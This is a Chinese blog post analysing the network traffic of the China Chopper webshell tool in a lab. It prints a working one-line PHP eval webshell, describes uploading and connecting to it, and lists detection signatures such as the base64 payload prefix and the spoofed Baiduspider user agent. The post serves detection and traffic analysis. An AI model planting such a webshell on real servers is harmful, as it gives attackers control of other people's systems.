当前位置:网站首页>菜刀webshell特征分析
菜刀webshell特征分析
2022-08-02 02:15:00 【sec0nd_】
前言
Webshell是hacker经常使用的一种恶意脚本,其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻。
hacker通常利用常见的漏洞,如SQL注入、远程文件包含(RFI)、FTP,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。
有个想法,看看他这个工具的原理,再分析一下菜刀的特征。我用的最多的就是菜刀,蚁剑安装不上,后面有机会再分析。
环境
用的虚拟机的phpstudy搭建的网站,并在虚拟机里面使用wireshark进行捕捉流量包。
物理机使用的是中国菜刀:https://github.com/raddyfiy/caidao-official-version
上传webshell并连接
一句话木马:
<?php eval($_POST[caidao]);?>
通过某种途径,把一句话木马上传到了网站的根域名下

然后在菜刀工具里面,添加一个新的shell连接,密码caidao
同时也开启wireshark进行抓包,为了更直观的分析,对ip进行了过滤,只看与物理机(192.168.80.1) 的通信
成功连接到webshell
翻看一下目录
执行系统命令
上传了一个测试文本
分析流量
我已经将捕获到的数据包上传至csdn,详细见:https://download.csdn.net/download/weixin_52444045/86269653
特征一:
所有的请求都是一致的,方式为POST,路径为webshell的url地址。
我的是POST /123.php
特征二:
菜刀工具发起的请求头里面,默认的UA为百度的爬虫 Baiduspider
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

不过这个东西是可以在caidao.conf里面进行修改的,还是小心起见
特征三
这个是最主要的一个特征,如果请求包中包含下面信息,那么99%就是菜刀连接到shell了
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

在所有的请求包中,请求体的内容中,key的值就是连接菜刀webshell的密码,后面的值是用base64进行了加密,下面拿出几个值来进行分析下
圈出的这个可以用base64进行解码解出来的,每个请求中的前缀都是一样的,一定要注意这个前缀!!
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
解码后是下面:
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("[email protected]");

特征四
每个返回包中,结果是用[email protected]进行包含的

通过返回包可以直观的判断出是做了什么操作。
个人理解
图形操作去执行一些操作的原理是,利用php、asp、jsp的函数去完成操作。
后来找到在caidao.conf文件里面,有写每个操作的函数
下面对抓取到的一个流量包和代码进行对比

可以看到这个是上传文件的操作
可以看出规律:
执行对应操作的代码为
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("[email protected]");+对应操作的函数代码+;echo("[email protected]");die();
然后通过base64编码,传入请求体中。所以前缀是固定的,详细见特征三。
通过分析捕获到的流量包,每一个请求包中都可以解密并找到是什么操作的
边栏推荐
- LeetCode brushing diary: 53, the largest sub-array and
- Force buckle, 752-open turntable lock
- LeetCode 213. Robbery II (2022.08.01)
- [LeetCode Daily Question] - 103. Zigzag Level Order Traversal of Binary Tree
- 记一次gorm事务及调试解决mysql死锁
- 检查IP或端口是否被封
- Yunhe Enmo: Let the value of the commercial database era continue to prosper in the openGauss ecosystem
- Constructor instance method of typescript36-class
- [LeetCode Daily Question]——654. The largest binary tree
- MySQL8 下载、启动、配置、验证
猜你喜欢

volatile原理解析

【LeetCode Daily Question】——704. Binary Search

The failure to create a role in Dahua Westward Journey has been solved

3. Bean scope and life cycle

typescript30 - any type

Constructor instance method of typescript36-class

哈希冲突和一致性哈希

AWR分析报告问题求助:SQL如何可以从哪几个方面优化?

typescript33 - high-level overview of typescript

手写博客平台~第二天
随机推荐
项目后台技术Express
力扣(LeetCode)213. 打家劫舍 II(2022.08.01)
Constructor instance method inheritance of typescript38-class (implement)
typeof in typescript32-ts
AOF重写
How to adjust the cross cursor too small, CAD dream drawing calculation skills
软件测试 接口自动化测试 pytest框架封装 requests库 封装统一请求和多个基础路径处理 接口关联封装 测试用例写在yaml文件中 数据热加载(动态参数) 断言
Handwriting a blogging platform ~ the first day
Fly propeller power space future PIE - Engine Engine build earth science
TKU remembers a single-point QPS optimization (I wish ITEYE is finally back)
2022-08-01 反思
Yunhe Enmo: Let the value of the commercial database era continue to prosper in the openGauss ecosystem
LeetCode Brushing Diary: 74. Searching 2D Matrix
十字光标太小怎么调节、CAD梦想画图算量技巧
Shell Beginners Final Chapter
ALCCIKERS Shane 20191114
2022-08-01 mysql/stoonedb慢SQL-Q18分析
Outsourcing worked for three years, it was abolished...
记一个gorm初始化的坑
volatile原理解析